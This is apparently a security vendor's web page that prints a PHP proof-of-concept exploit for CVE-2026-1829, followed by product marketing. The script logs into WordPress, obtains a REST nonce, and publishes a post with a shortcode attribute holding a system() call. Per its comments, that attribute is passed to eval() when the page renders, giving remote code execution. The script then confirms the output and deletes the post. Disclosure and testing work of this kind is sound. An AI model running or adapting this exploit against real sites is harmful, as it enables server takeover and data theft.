$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}
echo "[+] Authenticated as $usernamen";

// Step 2: Get REST API nonce for post creation
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$nonce = curl_exec($ch);
curl_close($ch);

if (!$nonce) {
    die('Failed to get REST API nonce.');
}
echo "[+] Obtained REST nonce: $noncen";

// Step 3: Create a new post with malicious shortcode
// The payload executes 'id' command via system() inside the eval()
$malicious_expression = 'system('id'); return true;';
$shortcode = '[et_pb_text cvdb_content_visibility_check="' . htmlspecialchars($malicious_expression, ENT_QUOTES) . '"]Content[/et_pb_text]';

$post_data = array(
    'title'   => 'CVE-2026-1829 Test Post',
    'content' => $shortcode,
    'status'  => 'publish'
);

$api_url = $target_url . '/wp-json/wp/v2/posts';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 201) {
    $error = json_decode($response, true);
    echo "[-] Failed to create post. HTTP $http_coden";
    print_r($error);
    exit;
}

$post = json_decode($response, true);
$post_id = $post['id'];
$post_link = $post['link'];
echo "[+] Created post ID: $post_idn";
echo "[+] Post URL: $post_linkn";

// Step 4: Trigger the vulnerability by viewing the post
// The eval() executes during page rendering
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Check if the command output appears in the response
if (preg_match('/uid=d+(w+)/', $response)) {
    echo "[+] Vulnerability confirmed! Command output found in response.n";
    // Extract and display the command output
    preg_match_all('/[^s]+/', $response, $matches);
    foreach ($matches[0] as $word) {
        if (strpos($word, 'uid=') === 0) {
            echo "[+] Output: $wordn";
        }
    }
} else {
    echo "[-] Could not detect command output. The site may be patched or the output may be hidden.n";
}

// Cleanup: Delete the test post
$delete_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id . '?force=true';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $delete_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
echo "[+] Cleaned up test post.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School